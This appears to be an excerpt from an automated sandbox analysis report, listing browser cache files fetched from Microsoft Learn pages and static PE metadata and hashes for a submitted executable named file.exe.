Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	dropped
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947452928477251
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'886'208 bytes
MD5:	ee89fe2b0fa6587b792d5e2514c916cc
SHA1:	6ee921ce3a1935c6ccf18ba606a4a7ef5ffcc224
SHA256:	4e198144ab24582e719a23d401f2989dc201622ffe6769fe103b46592ec43d5d
SHA512:	b3f6a8c44d0746cb420f6281d6d98c3b398d3ab5d68719e815515bb19133d2b5f96814ad666ba41668baf0cec2643ce60b3ade4da5de95fa60147133b704049b
SSDEEP:	49152:hfXiw1p6PiM3AegxGekhaKja+FvNUNsMg/Po/EemE:Vf1pqiM3McHja+FvNSsMg/zem
TLSH:	1C9533233F5EB38AD5965235610E5ECDFC374FE297928E52DECC2B4495236210AE213D
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....7g.................D............J...........@...........................J......p....@.................................\...p..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8ab000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6737BFB3 [Fri Nov 15 21:40:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5C292C259Ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c05c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5c1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
